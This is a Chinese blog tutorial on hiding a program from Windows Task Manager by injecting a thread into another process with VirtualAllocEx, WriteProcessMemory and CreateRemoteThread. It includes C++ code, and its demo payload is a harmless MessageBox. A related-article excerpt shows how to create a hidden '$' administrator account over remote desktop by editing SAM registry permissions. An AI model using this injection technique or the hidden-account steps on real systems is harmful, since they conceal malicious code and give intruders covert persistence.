windows任务管理器中隐藏进程的方法

在WinNT下 "真正隐藏进程 "这一说法,可以讲是根本不可能实现,只要我们的程序是以进程内核的形式运行,都是不可能逃离CTRL+ALT+DEL的法眼。那么奇怪了,这岂不是与我们的标题《WinNT & Win2K下实现进程的完全隐藏》相矛盾吗?是的,实际上应该是:以非进程方式执行目标代码,而逃避进程查看器的检查,从而达到 "进程隐藏 "的目的。
我们这里用的,是在宿主进程中,以线程的方式执行我们的代码。实现起来非常简单。首先,我们先建立一个不执行任何语句的线程

复制代码

代码如下:

DWORD stdcall ThreadProc(LPVOID *lpVoid){
return 0;
}

然后,将线程代码拷备至宿主进程所能够执行的任何地方(即页面属性为PAGGE_EXECUTE_READWRITE),如:共享内存影射区、宿主进程内。这里我们选择宿主进程,拷备的时侯,我们需要先在宿主进程中使用VirtualAllocEx函数申请一段内存,然后再使用WriteProcessMemory将线程体写入宿主进程中。
以上工作完成后,我们便可CreateRemoteThread函数激活其执行。下面给出一个完整的例子

复制代码

代码如下:

//远程线程执行体
DWORD __stdcall ThreadProc (void *lpPara){
return 0;
}
int main(int argc, char* argv[]){
const DWORD THREADSIZE=1024*4;//暂定线程体大小为4K,实际上没这么大,稍后我将会介绍
DWORD byte_write;
//获得指定进程ID句柄,并设其权限为PROCESS_ALL_ACCESS,992是宿进程的ID号,获取ID号的方法这里我就不多讲了
HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,992);
if(!hWnd)return 0;
void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE);//申请
if(!pRemoteThread)return 0;
if(!::WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,THREADSIZE,0))//写入进程
return 0;
//启动线程
HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,NULL,0,&byte_write);
if(!hThread){ //还有内存分配未释放
return 0;
}
return 0;
}

到这里,对于隐藏的方法就算告一段落,相信看过的朋友对这个思路有个非常明确的概念了吧。

在理解隐藏的方法后,我们着重开始写线程的执行部分了。如下:

复制代码

代码如下:

DWORD __stdcall ThreadProc(void *lpPara){
MessageBox(NULL, "hello ", "hello ",0);
return 0;
}

编译执行后,你会发现出现一个非法操作错误,为什么呢?在我们以段页式内存管理的win2K操作系统中,编译时会把所有的常量编译在PE文件的.data节中,而代码段则在.text中,所以,我们拷备到宿主进程中的代码是在.text中的代码,MessageBox(NULL,(char *)指针,p,0);所指向的地址是本进程的内存虚拟地址。而在宿主进程中是无法访问的。解决的方法很简单,按旧照搬的将 "hello "也拷备到目标进程中,然后再引用。同理,MessageBox函数地址编译时,也是保存在.Import中,写过Win2k病毒的朋友都知道,所有常量与函数入口地址都需在代码段定义与得出,我们这里也与他有点类似。言归正传,同样情况我们也把函数的入口地址一起写入目标进程中。

复制代码

代码如下:

//先定义参数结构
typedef struct _RemotePara{//参数结构
char pMessageBox[12];
DWORD dwMessageBox;
}RemotePara;
//付值
RemotePara myRemotePara;
::ZeroMemory(&myRemotePara,sizeof(RemotePara));
HINSTANCE hUser32 = ::LoadLibrary ( "user32.dll ");
myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA ");
strcat(myRemotePara.pMessageBox, "hello/0 ");

分类:windows
时间:2013-04-20

windows任务管理器中隐藏进程的方法的相关文章

巧用windows任务管理器中的系统进程关闭无响应程序等电脑疑难问题

经常使用电脑的朋友一定对Windows 任务管理器很熟悉,任务管理器的作用对很多电脑高手来说是非常重要的,通过任务管理器我们可以查看到当前电脑上正在运行哪些程序,可以查看CPU的使用情况等如下图: 任务管理器的应用程序 以及可以结束关闭程序,可以发现是否有程序在运行,也可以当程序无响应时结束无响应的程序,关于如何结束无响应的电脑程序请参考:浅谈引起电脑程序无响应的几种原因和解决办法 尽管在任务管理器的--应用程序里--可以看到当前运行的程序,但还有不少的隐藏运行系统程序或病毒在应用程序里是看不到

win7系统任务管理器中任务进程选项不见了怎么办?

当我们在操作Windows系统时,如果遇到某个应用进程没有响应,我们会通过任务管理器来结束指定任务进程,不过近期有部分win7同用户反映,自己在打开win7任务管理器时,却没有任务进程选项,对于出现该问题我们应该如何解决呢?下面小编为大家带来了详细的解决方法,需要的用户赶快学习下吧! 方法一: 在任务管理器边缘的白色区域双击,就是中间的框框以外的部分,"进程"就马上会出现了. 方法二: 1.开始菜单→所有程序→附件→找到命令提示符,然后右键以管理身份运行命令提示符; 2.输入sfc/s

Windows XP中设置VPN的方法

Windows XP中设置VPN的方法: 点击桌面左下角"开始",再点击"控制面板" 点击"网络和 Internet 连接" 点击"创建一个到您的 工作位置的网络连接" 选择"虚拟专用网络连接",再点击"下一步"按钮 在输入栏输入连接的名称,这里用"ustcvpn",再点击"下一步"按钮 选择"不拨初始连接",再点击"

Word2010中隐藏文本的方法

很多老师都在编辑试卷文档时会附上答案,但在考试前学生试卷上不能显示答案,那么如何隐藏试卷答案呢?

Windows任务管理器没有菜单栏的解决方法图文教程

如下图所示,只有一个简单的窗口,任务管理器中没有任何选项卡,及菜单栏。 任务管理器没有菜单栏和选项卡解决方法第1步:找到窗口最上面的边延的地方(如下图所示的地方),并直接双击这里即可解决。 脚本之家注:除了双击上面的边延,其实四周的边延都是一样可再回复的。 第2步:大家不防可以自己试试。

windows 2003开启隐藏账号的方法

windows 2003开启隐藏账号 当登陆进3389以后-- 先建立 cnlnfjhh$ 用户 c:/>net user cnlnfjhh$ wrsky /add //后面加$ 是为了使在 控制台下用 net user 看不到. 然后运行regedt32.exe(注意不是regedit.exe) 先找到HKEY_LOCAL_MAICHINE/SAM/SAM 点击它 ,然后在菜单"安全"->"权限" 添加自己现在登录的帐户或组, 把"权限"->"完全控制"->"允许"打上

详解Windows 8的隐藏功能开启方法

一些高人很快挖掘出了如何开启这些隐藏功能的方法,如果你是一个懒人不喜欢修改注册表之类的繁杂操作,那么可以试试这款号称全球首款的Windows 8辅助工具吧——Windows 8 Tweaker 1.1版。 很多网友都下载安装试用了Windows 8 M1的泄漏版,但可能很多Windows8的测试用户都不知道如何打开Windows 8 M1系统上被隐藏的功能。 在Windows 8 M1 阶段,Windows 8在是Windows 7的基础上进行开发的,因此界面会非常相似。但肯定有跟Windows

Windows 7中“库”的使用方法

在Windows 7中引入了一个“库”的功能,“库”的全名叫“程序库(library)”,是指一个可供使用的各种标准程序、子程序、文件以及它们的目录等信息的有序集合;很多人并没有把真把“库”运用起来,本文就主要讲解“库”的使用方法,以方便大家更加方便、高效的运用“库”。

Win7中任务管理器无法结束进程解决方法

方法一、 1、首先打开开始菜单中的运行,在运行对话框中输入“CMD”。回车打开命令提示符窗口; 2、在打开的命令提示符窗口中然后输入:tasklist可以查看到现在所有进程。 3、然后想要关闭进程的话,输入命令“Tskill+进程名”(只需要输入进程名,不用添加扩展名)就可以了。 注意事项: System、SMSS.EXE和CSRSS.EXE不能关闭。 方法二、 通过system的权限来运行任务管理器taskmgr.exe,然后取得system权限后就可以结束任何进程了。 1、首先打开“开始